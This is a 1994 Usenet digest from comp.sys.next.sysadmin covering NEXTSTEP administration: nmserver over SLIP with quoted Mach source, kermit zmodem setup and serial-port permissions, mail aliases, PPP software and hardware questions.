> More info on my troubles in getting Mach messaging (e.g. Display
> Postscript) happening across a SLIP connection.
>
> My problem appears to be in convincing nmserver (Mach IPC daemon) that I
> do indeed have a working network interface. Since I have no other
network
> interfaces and I don't bring up TransSys PNI until well after the
machine
> boots, I have to bring up a lot of network services by hand. However,
I
> can't convince nmserver that I have a working network interface:
>
> croehrig# ifconfig -a
> lo0: flags=69<UP,LOOPBACK,NOTRAILERS,RUNNING>
> inet 127.0.0.1 netmask ff000000
> pni0: flags=51<UP,POINTOPOINT,RUNNING>
> inet 137.82.11.117 --> 137.82.8.35 netmask ffffff00
>
> croehrig# nmserver=`ps cax | grep nmserver | awk '{print $1}'`
> croehrig# kill -USR2 $nmserver
> Jun 1 21:10:53 croehrig netmsgserver[21]: network_init
> Jun 1 21:10:53 croehrig netmsgserver[21]: Could not find a working
> network interface - disabling the network
>
> (This last bit is adapted from /etc/rc.net.)
>
> Any suggestions as to how I can convince nmserver that I really have a
> working network interface (once I bring up SLIP)?
>
In comp.sys.next.sysadmin article <2sk3ic$pho@cs.ubc.ca> you wrote:
>
> More info on my troubles in getting Mach messaging (e.g. Display
> Postscript) happening across a SLIP connection.
>
> My problem appears to be in convincing nmserver (Mach IPC daemon) that I
> do indeed have a working network interface. Since I have no other
network
Chris,
Here is the network_init() code from the 2.5 Mach nmserver from
ftp.cs.cmu.edu:
/*
* init_network
* Initialises some things for the network-level interface.
*
* Returns:
* TRUE or FALSE.
*
* Side effects:
* Sets up my_host_name, my_host_id, last_ip_id and
broadcast_address.
*
*/
PUBLIC boolean_t network_init()
BEGIN("network_init")
struct hostent *hp;
ip_addr_t temp_address;
int s;
char buf[1000];
struct ifconf ifc;
struct ifreq *ifr;
netaddr_t cur_if_addr;
struct sockaddr_in *cur_if_sockaddr;
int n;
boolean_t found_bcast = FALSE;
char outstr[100];
FILE *nm_fp;
/*
* Make sure all important variables get a sensible value no
* matter what happens.
*/
my_host_id = 1;
broadcast_address = 2;
last_ip_id = (short)uid_get_new_uid();
/*
* Find the local IP address.
*/
if ((gethostname(my_host_name, HOST_NAME_SIZE)) != 0) {
panic("network_init.gethostname");
}
hp = gethostbyname(my_host_name);
if (hp == 0) {
ERROR((msg, "network_init.gethostbyname fails,
errno=%d",errno));
RETURN(FALSE);
} else {
my_host_id = *(netaddr_t *)(hp->h_addr);
}
/*
* Check that the network is up.
*/
s = socket(AF_INET,SOCK_DGRAM,0);
if (s <= 0) {
ERROR((msg,"network_init.socket fails, errno=%d",errno));
RETURN(FALSE);
}
ifc.ifc_len = sizeof(buf);
ifc.ifc_buf = buf;
if (ioctl(s,SIOCGIFCONF,(char *)&ifc) < 0 ) {
ERROR((msg,
"network_init.ioctl(SIOCGIFCONF) fails,
errno=%d",errno));
close(s);
RETURN(FALSE);
}
DEBUG1(TRUE,0,2700,(ifc.ifc_len / sizeof(struct ifreq)));
ifr = ifc.ifc_req;
for (n = ifc.ifc_len / sizeof(struct ifreq); n > 0; n--) {
cur_if_sockaddr = (struct sockaddr_in *)&(ifr->ifr_addr);
cur_if_addr = cur_if_sockaddr->sin_addr.s_addr;
if (ioctl(s,SIOCGIFFLAGS,ifr) < 0) {
ERROR((msg,
"network_init.ioctl(SIOCGIFFLAGS) fails,
errno=%d",
er
rno));
RETURN(FALSE);
}
sprintf(outstr," interface \"%.50s\" flags=0x%x,
addr=0x%x",
ifr->ifr_name,ifr->ifr_flags,cur_i
f_addr);
DEBUG_STRING(TRUE,0,2701,outstr);
if ((ifr->ifr_flags & IFF_UP) && (cur_if_addr ==
my_host_id)) {
n = -1;
break;
} else {
ifr++;
}
}
if (n != -1) {
ERROR((msg,
"Could not find a working network interface - disabling the
network"));
close(s);
RETURN(FALSE);
}
#ifdef SIOCGIFBRDADDR
/*
* Find the socket broadcast address.
*/
if (ioctl( s, SIOCGIFBRDADDR, (char *)ifr) < 0) {
ERROR((msg,"Cannot get the socket broadcast address:
errno=%d",errno));
} else {
found_bcast = TRUE;
cur_if_sockaddr = (struct sockaddr_in
*)&(ifr->ifr_broadaddr);
broadcast_address = cur_if_sockaddr->sin_addr.s_addr;
}
#endif SIOCGIFBRDADDR
close(s);
/*
* Decide on the broadcast address.
*/
nm_fp = fopen("nmbroadcast","r");
if (nm_fp == NULL) {
nm_fp = fopen("/etc/nmbroadcast","r");
}
if (nm_fp != NULL) {
int a,b,c,d;
int ret;
ret = fscanf(nm_fp,"%d.%d.%d.%d\n",&a,&b,&c,&d);
temp_address.ia_bytes.ia_net_owner = a;
temp_address.ia_bytes.ia_net_node_type = b;
temp_address.ia_bytes.ia_host_high = c;
temp_address.ia_bytes.ia_host_low = d;
fclose(nm_fp);
if (ret != 4) {
ERROR((msg,"** Invalid format for nmbroadcast
file."));
RETURN(FALSE);
}
broadcast_address = temp_address.ia_netaddr;
found_bcast = TRUE;
}
if (found_bcast == FALSE) {
ERROR((msg, "Warning: could not find a useful broadcast
address"));
RETURN(FALSE);
}
ERROR((msg,"Broadcast address: 0x%x",broadcast_address));
DEBUG1(TRUE,0,2702,broadcast_address);
RETURN(TRUE);
END
The statement that checks for an active interface is:
if ((ifr->ifr_flags & IFF_UP) && (cur_if_addr == my_host_id))
This requires that the interface is up and that is has the same id
as the host. Since you aren't using en0, why don't you set you host
internet address to that of your pni0 address? At least I think this
will work.
Scott
--
Scott Stark
Stark Internation Software
4950 N. Marine Dr.
#102
Chicago, IL 60640
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From: cnayak@crl.com (Chiraprakash Nayak)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Terminal program sought
Date: 2 Jun 1994 19:40:00 -0700
Organization: CRL Dialup Internet Access (415) 705-6060 [login: guest]
Distribution: world
Message-ID: <2sm560$3c8@crl.crl.com>
References: <HELGE.94Jun2220934@haddock.chalmers.se>
In article <HELGE.94Jun2220934@haddock.chalmers.se>,
Markus H|rnkvist <helge@haddock.chalmers.se> wrote:
>Where can I find a program that allows me to do zmodem downloads from
>a Unix system that I dial in to?
>
What program do you use to dial in?
One (of many possible) solution(s) is good old kermit with rz/sz on
NS/Intel side. Here is one of the places where you can get them -
cs.orst.edu:/pub/next/binaries/comm/NeXT.rzsz0525.FAT.compressed
..... /kernext.486.....
In order to have rz/sz commands available from within kermit you need to
define the following lines in your .kermrc file
define sz -
!sz < \v(line) > \v(line) \%1
define rz -
!rz < \v(line) > \v(line) \%1
(of course you need to "set line", "speed", and "modem" within kermit before
you can "dial" and "c"onnect)
Good Luck.
Best Regards.
--chip (cnayak@crl.com)
From: art@cubicsol.com (Art Isbell)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Terminal program sought
Date: 3 Jun 1994 03:16:45 GMT
Organization: University of California, Santa Cruz
Distribution: world
Message-ID: <2sm7at$2mb@darkstar.UCSC.EDU>
References: <2sm560$3c8@crl.crl.com>
In article <2sm560$3c8@crl.crl.com> cnayak@crl.com (Chiraprakash Nayak)
writes:
> In order to have rz/sz commands available from within kermit you need to
> define the following lines in your .kermrc file
>
> define sz -
> !sz < \v(line) > \v(line) \%1
> define rz -
> !rz < \v(line) > \v(line) \%1
I frequently see this solution posted for using zmodem from within
kermit, but I've never had any luck making it work without making my port
device permissions less secure. But no poster of this solution ever
mentions that port device permissions must be changed from the 600 (the
NEXTSTEP default) to 666 (or something similar) for this to work.
Am I missing something or are lots of folks being misled by these
postings?
---
Art Isbell Cubic Solutions
NeXT Registered Consultant NEXTSTEP software development and consulting
NeXTmail: art@cubicsol.com Voice: +1 408 335 1154
USmail: 95018-9442 Fax: +1 408 335 2515
From: bchin@is-next.umd.edu (Bill Chin)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Mach Network server (nmserver) (Re: DPS connection across a SLIP) connection)
Date: 3 Jun 1994 03:32:26 GMT
Organization: Comp. Sci. Ctr., Univ. of MD, College Park, MD 20742
Distribution: world
Message-ID: <2sm88a$6i7@umd5.umd.edu>
References: <2sk3ic$pho@cs.ubc.ca> <2sm2m6$ndm@News1.mcs.com>
Scott M. Stark (starksm@genesis.mcs.com) wrote:
: This requires that the interface is up and that is has the same id
: as the host. Since you aren't using en0, why don't you set you host
: internet address to that of your pni0 address? At least I think this
: will work.
Yes, I've gotten DO to work over SLIP this way (both under dialupip
and PNI). Matter of fact, you can have multiple point to point
interfaces and it'll still work - the key is to have the same
"local" IP address.
I have, however, not tried to run apps across it - even at 19.2kbps
it'll be too painful.
.Bill Chin
From: fliu@jedi.eng.uci.edu (Feng Liu)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: NS/I boot manager eraised after upgrading DOS 6.0 to 6.2
Date: 3 Jun 1994 04:15:34 GMT
Organization: University of California, Irvine
Message-ID: <2smap6$r5u@news.service.uci.edu>
References: <Cqr6u9.3I3@nexusadmin.com>
In article <Cqr6u9.3I3@nexusadmin.com> Dave@NexusAdmin.COM(David W.
Fahrney) writes:
> !>
> !> Anyway, thanks for the suggestion. Scott Hergott was also kind enough
to
> !> reply to my post. He suggested
> !> disk -B0 /usr/standalone/i386/boot0/dev/rhd0a
> !>
> That's not quite right! You need one more space in there:
>
> disk -B0 /usr/standalone/i386/boot0 /dev/rhd0a
>
> --
> David W. Fahrney =:-)
Sorry, you are right, there should be a space and also it should be
/dev/rhd0h not /dev/rhd0a. Sorry for the typo.
--
Feng Liu
Department of Mechanical and Aerospace Engineering
University of California, Irvine
Irvine, CA 92717
phone: 714-725-3105
From: croehrig@celegans.psych.ubc.ca (Chris Roehrig)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Mach Network server (nmserver) (Re: DPS connection across a SLIP) connection)
Date: 3 Jun 1994 06:21:45 GMT
Organization: Computer Science, University of B.C., Vancouver, B.C., Canada
Distribution: world
Message-ID: <2smi5p$3a3@cs.ubc.ca>
References: <2sm88a$6i7@umd5.umd.edu>
Scott M. Stark (starksm@genesis.mcs.com) writes:
> The statement that checks for an active interface is:
> if ((ifr->ifr_flags & IFF_UP) && (cur_if_addr == my_host_id))
> This requires that the interface is up and that is has the same id
> as the host. Since you aren't using en0, why don't you set you host
> internet address to that of your pni0 address? At least I think this
> will work.
The problem is that I don't even _have_ en0. I have no network interface
adapters installed on the machine (a 486). If I set INETADDR to be my IP
address in /etc/hostconfig, then rc.net configures my LOOPBACK interface
(my primary and only interface) to be at that IP address instead of
127.0.0.1, and this really screws things up (like autonfsmount and
sendmail), and my machine can't boot.
I should be able to get things working by doing "kill -USR2 nmserver" once
I bring PNI up and configure it with ifconfig. This is effectively what
rc.net does. And this _does_ work with the Mach 2.5 nmserver sources
that I got from CMU. My IP address and the pni0 interface's IP address
are correct, gethostbyname works, and everything looks great. The above
line of code comes out TRUE. No problems.
But for some reason, it doesn't work with NeXT's nmserver, and I don't
know why. I just get:
Could not find a working network interface - disabling the network
I can't replace NeXT's nmserver with the CMU one because NeXT has hacked
it to respond to a USR2 signal, which it needs in order to boot.
Anyone from NeXT have any ideas? This looks like a bug to me...
Perhaps the only solution is to buy an ethernet adapter for my PC just so
that I can configure nmserver at boot time. (Ugh!)
--
Chris Roehrig (croehrig@celegans.psych.ubc.ca)
Invertebrate Learning Group, University of British Columbia, Canada
From: cnayak@crl.com (Chiraprakash Nayak)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Terminal program sought
Date: 2 Jun 1994 23:59:56 -0700
Organization: CRL Dialup Internet Access (415) 705-6060 [login: guest]
Distribution: world
Message-ID: <2smkdc$sqj@crl.crl.com>
References: <2sm560$3c8@crl.crl.com> <2sm7at$2mb@darkstar.ucsc.edu>
In article <2sm7at$2mb@darkstar.ucsc.edu>, Art Isbell <art@cubicsol.com> wrote:
>In article <2sm560$3c8@crl.crl.com> cnayak@crl.com (Chiraprakash Nayak)
>writes:
>> In order to have rz/sz commands available from within kermit you need to
>> define the following lines in your .kermrc file
>>
>> define sz -
>> !sz < \v(line) > \v(line) \%1
>> define rz -
>> !rz < \v(line) > \v(line) \%1
>
> I frequently see this solution posted for using zmodem from within
>kermit, but I've never had any luck making it work without making my port
>device permissions less secure. But no poster of this solution ever
>mentions that port device permissions must be changed from the 600 (the
>NEXTSTEP default) to 666 (or something similar) for this to work.
> Am I missing something or are lots of folks being misled by these
>postings?
>---
>Art Isbell Cubic Solutions
>NeXT Registered Consultant NEXTSTEP software development and consulting
>NeXTmail: art@cubicsol.com Voice: +1 408 335 1154
>USmail: 95018-9442 Fax: +1 408 335 2515
The NeXTSTEP default is not 600 for any of the cu* devices. Here is what
I have (no I haven't mucked around them yet) straight after installation
from CD (3.2).
crw-rw-rw- 1 root 1,192 Jun 2 18:22 /dev/cua
crw-rw-rw- 1 root 1,193 Jun 2 18:22 /dev/cub
crw-rw-rw- 1 root 1,224 Jun 2 18:22 /dev/cufa
crw-rw-rw- 1 root 1,225 Jun 3 01:48 /dev/cufb
Best Regards.
--chip (cnayak@crl.com)
From: wrob@unixg.ubc.ca (Robert Wong)
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin
Subject: Re: What're the HSD and Interfax driver on PrintManager?
Date: 3 Jun 1994 07:31:13 GMT
Organization: University of British Columbia, Vancouver, B.C., Canada
Message-ID: <2smm81$1l7@nnrp.ucs.ubc.ca>
References: <2sltsg$64q@news.iastate.edu>
In article <2sltsg$64q@news.iastate.edu>, Chris Wong <chris@iastate.edu> wrote:
>Ok, a very simple question... Why HSD and Interfax, but not Hayes, Zyxel or
>whatever more common modem in the world (be supported on NS)?
>
>Is there a historical reason?
iIt is my understanding that these are one and the same modem. They are
2400 baud data modem/9600 baud fax modems.
>Why am I asking so many question...? >:)
>
>I'm waiting for the next generation Zyxel which has been claimed that it can
>handle FAX better under NS and other multitasking OS. Any comment on this?
>I'm not in a great hurry to buy a FAXModem... so wait, right? >:)
Gee, that sounds a lot like some thing I wrote in the ZyXEL FAQ. :-)
Currently, ZyXEL modems have implemented Class 2.0 (note the ".0" part.)
in ROM release v6.12. This feature was expected to show up in the next
generation of ZyXELs. They shipped this feature now with the "old"
(aka current modems).
It all works NOW on NeXTstep machines. :-)
RWW.
Disclaimer: I sell NXFax and ZyXEL modems.
--
Robert W. Wong Jr. wrob@unixg.ubc.ca (ASCII only)
Crasher of Automated Banking Machines, Keeper of the ZyXEL modem FAQ,
University of British Columbia NeXT Users Group Leader and
collector of titles.
Newsgroups: comp.sys.next.sysadmin
From: (Albatross)
Subject: PPP for the NeXT Works 100%
Message-ID: <Cqt9ou.17v@haquer.uucp>
Keywords: ppp next NeXT PPP
Sender: alby@haquer.uucp (Albatross)
Organization: The Empire Organization {TEO}
Date: Fri, 3 Jun 1994 07:48:30 GMT
I have submitted a working copy of PPP software. It is the
next-ppp.0.3 program which has been modded, so that it should work
100% of the time.
Location:
========
cs.orst.edu /pub/next/submissions/Alby-NeXT-PPP.0.3-tar.Z
If you have any problems installing the software or running
the PPP program just send me mail at alby@uunet.uu.net or alby@empire.org
and I should be able to give you a helping hand on whatever problem it is
that you are having.
-Alby
From: wrob@unixg.ubc.ca (Robert Wong)
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin
Subject: Re: What're the HSD and Interfax driver on PrintManager?
Date: 3 Jun 1994 07:55:11 GMT
Organization: University of British Columbia, Vancouver, B.C., Canada
Message-ID: <2smnkv$1mc@nnrp.ucs.ubc.ca>
References: <2sltsg$64q@news.iastate.edu> <2smm81$1l7@nnrp.ucs.ubc.ca>
In article <2smm81$1l7@nnrp.ucs.ubc.ca>, Robert Wong <wrob@unixg.ubc.ca> wrote:
>It all works NOW on NeXTstep machines. :-)
You Dummy (he says to himeself)!
Correction/clarificaton:
ZyXEL modems can work NOW to fax in and out. What I neglected to mention
was that some other utility software is needed. One nice solution is
via the use of the NXFax software. Other solutions apparently exist
and do work on NeXTstep machines.
Sorry for the confusion.
RWW.
--
Robert W. Wong Jr. wrob@unixg.ubc.ca (ASCII only)
Crasher of Automated Banking Machines, Keeper of the ZyXEL modem FAQ,
University of British Columbia NeXT Users Group Leader and
collector of titles.
Newsgroups: comp.sys.next.sysadmin
From: friendly@hotspur.psych.yorku.ca (Michael Friendly)
Subject: Automatic nwlogin - how?
Message-ID: <CqtoLH.KG2@newshub.ccs.yorku.ca>
Sender: news@newshub.ccs.yorku.ca (USENET News System)
Organization: York University
Date: Fri, 3 Jun 1994 13:10:29 GMT
I'm using network printers, some of which are hung on a
NetWare server. If I've rebooted, but forgotten to Authenticate, then when
I print from a Print panel, it looks like the print job has been sent, but
nothing actually gets printed, but I don't find out until I've walked down to
the lab which houses the printer. There is no console message to indicate
that anything is wrong.
Is there some way to handle this so that everything works without my having
to worry about it? e.g., perhaps by running /usr/netware/bin/nwlogin from
rc.local or from a login script? What are
the args for nwlogin? Is there another way?
[Please reply direct; I don't normally monitor this list.]
--
Michael Friendly Internet: friendly@vm1.yorku.ca
Psychology Department NeXTmail: friendly@hotspur.psych.yorku.ca
York University
4700 Keele Street
Toronto, ONT M3J 1P3 CANADA
Newsgroups: comp.sys.next.sysadmin
From: (Albatross)
Subject: Alby's PPP software with a little problem.
Message-ID: <Cqtq7A.26H@haquer.uucp>
Keywords: ppp next NeXT PPP
Sender: alby@haquer.uucp (Albatross)
Organization: The Empire Organization {TEO}
Date: Fri, 3 Jun 1994 13:45:09 GMT
I noticed I had a uncompress error. I will resubmit the program ASAP.
The file will be named Alby2-NeXT-PPP.0.3.tar.gz <= GZIPed..
-Alby
From: chris@nice.usergroup.ethz.ch (Christian Limpach)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: no tcsh on finger
Date: 03 Jun 1994 14:17:29 GMT
Organization: welcome to nowhere...
Message-ID: <CHRIS.94Jun3161730arkin@nice.usergroup.ethz.ch>
References: <2sle5r$t2j@nntp2.Stanford.EDU>
In-reply-to: nielsen@bears.Stanford.EDU's message of 2 Jun 1994 20:07:23 GMT
Originator: ARKIN@nice
In article <2sle5r$t2j@nntp2.Stanford.EDU> nielsen@bears.Stanford.EDU (James Nielsen) writes:
> I have sort of an odd problem. Normally, when I have multiple terminals
> open and someone fingers at my machine, they see that I'm on the console,
> and they see all the shells (tcsh in my case). Recently, though, only the
> console registers.
if you use Terminal.app, it has to be setuid root, if you use Stuart,
slog (in the Stuart.app wrapper) has to be setuid root. Otherwise your
Terminal emulator isn't able to update /etc/utmp which will indeed
break talk (You don't exist. Go away.)
christian
From: chris@clubside.digex.net (Chris Rowley)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Printing to HP DJ500 and Ghostscript
Date: Fri, 3 Jun 1994 12:01:00
Organization: Clubside
Message-ID: <chris.6.000C04A8@clubside.digex.net>
References: <2sdaku$2q4@dartvax.dartmouth.edu> <next2.770334349@info2.rus.uni-stuttgart.de> <2sdtq9$fcv@news.cs.tu-berlin.de>
>>pete@geminga.dartmouth.edu (Peter Schmitt) writes:
>>>1. Has anyone successfully printed to a DJ500?
>>Yes - me. Try djf_for_3.0 or get a license for JetPilot or Dots.
>Me too. Using eXTRAPRINT/HP, which does Error Diffusion Dithering
>for crisp graphics.
>Contact: info@goldleaf.com
>Marcel
>DISCLAIMER: I wrote it.
I have NeXTStep 3.2 on Intel, and the docs for djf_for_3.0 do not indicate the
ability to print to the parallel port. What insanity drives someone to use a
serial printer?!?! Ack! Does anyone know of a way to get this driver to work
on Intel to the parallel port?
Chris
From: lloyd@max.tiac.net (Christopher Lloyd - not the actor)
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin
Subject: Need recommendations for tape backup and cd-rom drives
Date: 3 Jun 1994 16:46:09 GMT
Organization: The Internet Access Company
Message-ID: <2snmoh$pu0@sundog.tiac.net>
I'm in need of advice on purchasing SCSI tape backup and CD-ROM drives
that work across NS Intel/Moto/HP.
NS compatibility, high quality, and speed are the main issues. Any info,
hints, recommendations and horror stories would be greatly appreciated.
I'm pretty clueless about what's latest/greatest for these peripherals ...
Thanks a bunch,
Chris
--
|: Christopher Lloyd :|: Yrrid Incorporated :|: lloyd@yrrid.com :|
|: Fish Cannot Carry Guns :|
Newsgroups: comp.sys.next.sysadmin
From: chuston@nugget.rmNUG.ORG (Chris Huston)
Subject: Dual format CDROM disk
Message-ID: <1994Jun3.170343.1977@nugget.rmNUG.ORG>
Organization: Rocky Mountain NeXT Users' Group
Date: Fri, 3 Jun 1994 17:03:43 GMT
Hi,
I just got ahold of a clip-art CDROM that is apparently both a Mac CD and a DOS/Windows CD...
Workspace wants to mount it as a DOS disk... but there should be a mac part also... how do I get to it?
I tried:
mount -t macintosh /dev/sd3a /cdrom
which responds:
Invalid Option
I also poked around in /usr/filesystems/mac.fs... There is a executable in there called mac.util:
sam> mac.util
usage: mac.util action device [mount_point] [flags]
action:
-p (Probe for mounting)
-P (Probe for initializing)
-m (Mount)
-r (Repair)
-u (Unmount)
-M (Force Mount)
-i (Initialize)
So I tried that as: mac.util -p /dev/sd3a
which responds: No such device
Trying "mac.util -p sd3a" gives "unix_rw error" and the console reports the disk is write protected...
I can't find anything about mac filesystems in NeXTanswers/SupportBullitens/Admin docs...
Any ideas?
Thanks!
--Chris
Newsgroups: comp.sys.sun.admin,comp.sys.next.sysadmin
From: mliggett@onyx.chem.indiana.edu (Matthew Liggett)
Subject: Re: User Management Packages
In-Reply-To: ramesh@cs.mcgill.ca's message of 2 Jun 1994 15:35:22 GMT
Message-ID: <MLIGGETT.94Jun3124709@onyx.chem.indiana.edu>
Sender: news@usenet.ucs.indiana.edu (USENET News System)
Organization: Very little.
References: <2sku7q$6ie@homer.cs.mcgill.ca>
Date: Fri, 3 Jun 1994 17:47:09 GMT
>>>>> "Ramesh" == Ramesh SOMALINGAM <ramesh@cs.mcgill.ca> writes:
Ramesh> Does anyone know of any User Management packages out on the
Ramesh> net? I'm looking for packages that handle creation, deletion
Ramesh> and archival of user accounts. Thanks. --
admintool under Solaris 2.x does that, but it's ugly Open Look and all
that messy NIS+ stuff is still pretty unclean.
It would be nice to write a portable Motif tool in say tcl/Tk or
something to do this..
if there's anything out there, I'm interested too...
--
matt liggett '59 Austin Mini 850 (If only it ran...)
(mliggett@indiana.edu) '75 Suzuki GT250 (Mutant Chainsaw)
-= GAT =- '79 Honda Civic 1200 (Rust Never Sleeps)
d-- -p+ c++(+++) l++ u++ e+ m* s--/ n+(---) h-- f- !g w++ t+ r(-) y++(*)
From: alby@uunet.uu.net (Anthony Williams)
Newsgroups: comp.sys.next.sysadmin
Subject: PPP software on cs.orst.edu
Date: 3 Jun 1994 15:10:28 -0400
Organization: UUNET Technologies, Inc. (Earth offices)
Sender: alby@cthulu.UU.NET
Distribution: world
Message-ID: <2snv74$2cc@cthulu.UU.NET>
Keywords: ppp NeXT
After a few email messages, there is one thing which I forgot to
include. That is that this PPP program runs under NeXTStep 3.0
From: art@cubicsol.com (Art Isbell)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Terminal program sought
Date: 3 Jun 1994 20:22:10 GMT
Organization: University of California, Santa Cruz
Distribution: world
Message-ID: <2so3di$cec@darkstar.UCSC.EDU>
References: <2smkdc$sqj@crl.crl.com>
In article <2smkdc$sqj@crl.crl.com> cnayak@crl.com (Chiraprakash Nayak)
writes:
>
> The NeXTSTEP default is not 600 for any of the cu* devices. Here is what
> I have (no I haven't mucked around them yet) straight after installation
> from CD (3.2).
>
> crw-rw-rw- 1 root 1,192 Jun 2 18:22 /dev/cua
> crw-rw-rw- 1 root 1,193 Jun 2 18:22 /dev/cub
> crw-rw-rw- 1 root 1,224 Jun 2 18:22 /dev/cufa
> crw-rw-rw- 1 root 1,225 Jun 3 01:48 /dev/cufb
Hmm, somebody's been mucking with something:
From the 3.2 CDROM:
269[/NEXTSTEP_3.2/dev]% ls -l cu*
crw------- 1 art 11,192 Oct 21 1993 cua
crw------- 1 art 11,193 Oct 21 1993 cub
crw------- 1 art 11,224 Oct 21 1993 cufa
crw------- 1 art 11,225 Oct 21 1993 cufb
As installed:
270[/NEXTSTEP_3.2/dev]% cd /dev
271[/dev]% ls -l cu*
crw------- 1 uucp 11,192 Jan 27 09:08 cua
crw------- 1 uucp 11,193 Oct 21 1993 cub
crw------- 1 uucp 11,224 Jun 3 13:17 cufa
crw------- 1 uucp 11,225 Oct 21 1993 cufb
I believe this has been the setup since I first ran NS 1.0a.
---
Art Isbell Cubic Solutions
NeXT Registered Consultant NEXTSTEP software development and consulting
NeXTmail: art@cubicsol.com Voice: +1 408 335 1154
USmail: 95018-9442 Fax: +1 408 335 2515
From: madler@cco.caltech.edu (Mark Adler)
Newsgroups: comp.sys.next.sysadmin
Subject: mail aliases
Date: 3 Jun 1994 20:31:17 GMT
Organization: California Institute of Technology, Pasadena
Message-ID: <2so3ul$5ch@gap.cco.caltech.edu>
In chapter 6 (06_Mail.rtfd) it describes how to set up mail aliases
using NetInfoManager. It works fine, but has this caveat:
Important: An alias name should contain no spaces or punctuation
other than an underscore (*_:) or a hyphen (*-:), as in Admin_Alias
or quality-team.
Does anyone know why this is? More importantly, is there a way around
this, perhaps not using the NetInfo database? I would like to set up
an alias like Mark.Adler (well, exactly like that). NetInfoManager let
me put one in like that, but (as implied by the documentation) it
doesn't work.
Thanks.
mark
Newsgroups: comp.sys.next.sysadmin
From: tom@basil.icce.rug.nl (Tom R.Hageman)
Subject: Re: Terminal program sought
Message-ID: <CquArv.4FH@basil.icce.rug.nl>
Sender: tom@basil.icce.rug.nl (Tom R.Hageman)
Organization: Watery Lofts
References: <2sm7at$2mb@darkstar.UCSC.EDU>
Date: Fri, 3 Jun 1994 21:09:28 GMT
In article <2sm7at$2mb@darkstar.UCSC.EDU> art@cubicsol.com (Art Isbell) writes:
> In article <2sm560$3c8@crl.crl.com> cnayak@crl.com (Chiraprakash Nayak)
> writes:
> > In order to have rz/sz commands available from within kermit you need to
> > define the following lines in your .kermrc file
> >
> > define sz -
> > !sz < \v(line) > \v(line) \%1
> > define rz -
> > !rz < \v(line) > \v(line) \%1
>
> I frequently see this solution posted for using zmodem from within
> kermit, but I've never had any luck making it work without making my port
> device permissions less secure. But no poster of this solution ever
> mentions that port device permissions must be changed from the 600 (the
> NEXTSTEP default) to 666 (or something similar) for this to work.
> Am I missing something or are lots of folks being misled by these
> postings?
Well, here is my setup:
#!/bin/sh
# In order to make kermit work under NeXT 3.x in a reasonably secure manner,
# the system administrator can do the following:
chgrp uucp /dev/cu*
chmod g+rw /dev/cu*
chgrp uucp /usr/local/bin/kermit
chmod g+s /usr/local/bin/kermit
# That is, make outgoing lines have read/write acces for group "uucp",
# and subsequently make kermit setgid to that group:
# su@basil 67) ll /dev/cu*
# crw-rw---- 1 uucp uucp 11,192 Jun 3 20:12 /dev/cua
# crw-rw---- 1 uucp uucp 11,193 Oct 22 1993 /dev/cub
# crw-rw---- 1 uucp uucp 11,224 Oct 22 1993 /dev/cufa
# crw-rw---- 1 uucp uucp 11,225 Oct 22 1993 /dev/cufb
# su@basil 68) ll /usr/local/bin/kermit
# -r-xr-sr-x 1 tom uucp 344064 Oct 27 1992 /usr/local/bin/kermit*
# (serial ports are owned by uucp so that uucico and friends can use them as
# well.)
This is actually suggested somewhere in the documentation of kermit (in
ckuins.doc I believe.)
--
__/__/__/__/ Tom Hageman (tom@basil.icce.rug.nl) [NeXTMail accepted]
__/ __/_/
__/__/__/ "...to baldly go where no one has gone before."
__/ _/_/ -- star trek TNG
Newsgroups: comp.sys.next.sysadmin
From: petergun@kgnome.uucp (Stephane I. Matis)
Subject: Re: Cryptor bundle for Mail.app in less than 3.1
Message-ID: <Cqu56J.rH@kgnome.uucp>
Organization: 3DT "Skunk Works"
References: <2s86u8$3h6@bigfoot.wustl.edu>
Date: Fri, 3 Jun 1994 19:08:42 GMT
I'd like to know which site carries the cryptor bundle ? The
wuarchive's mirror of orst certainlly doesn't ... unless the filename
is non-indicative.
Thanks,
--
petergun
R-name : Stephane I. Matis " I used to write about mecha daily ... "
E-mail : petergun@vectrex.login.qc.ca - Mecha Anonymous
From: madler@cco.caltech.edu (Mark Adler)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: mail aliases
Date: 3 Jun 1994 22:57:00 GMT
Organization: California Institute of Technology, Pasadena
Message-ID: <2socfs$aq2@gap.cco.caltech.edu>
References: <2so3ul$5ch@gap.cco.caltech.edu>
Thanks to Sean Hill (Sean.Hill or Sean_Hill or shill or ...) who already
had this working for helping me figure it out. It turns out that while
Mark_Adler works as an alias (for any case variation like mark_adler,
MARK_ADLER, etc.), Mark.Adler does not. However mark.adler does! So,
now that I changed Mark.Adler to mark.adler, it now works not only for
mark.adler, but also for all case variations (like Mark.Adler, etc.).
Don't ask me why Mark_Adler works, Mark.Adler doesn't, and mark.adler
does. That's just the way it is.
mark
From: gary_miller@next.com (Gary Miller)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Users's Guide ?
Date: 4 Jun 1994 00:29:53 GMT
Organization: NeXT, Inc.
Distribution: world
Message-ID: <2sohu1$2c9@rosie.next.com>
References: <CqqzoA.6nK@ucdavis.edu>
In article <CqqzoA.6nK@ucdavis.edu> dbrad@ucdmath.ucdavis.edu (David Bradford)
writes:
>
> Many times in the Sys-admin Manual for NS3.2 there are references
> to the User's Guide - Where can I get one of these "User's Guides"?
>
> David Bra####################################################################
From: jbn@uiuc.edu (J.B. Nicholson-Owens)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Terminal program sought
Date: 4 Jun 94 05:38:30 GMT
Organization: University of Illinois at Urbana
Message-ID: <jbn.770708310@owens.slip.uiuc.edu>
References: <HELGE.94Jun2220934@haddock.chalmers.se>
Summary: Buy Cables from Yrrid, it's excellent and competitive. Write info@yrrid.com for details.
I'm suprised at the two-faced responses some regular readers have
given in response to this question:
helge@haddock.chalmers.se (Markus H|rnkvist) writes:
>Where can I find a program that allows me to do zmodem downloads from
>a Unix system that I dial in to?
>Since I'm a newcomer to NS, it would be great if it were in binary
>form for NS FIP 3.2, or at least possible to compile without
>modifications.
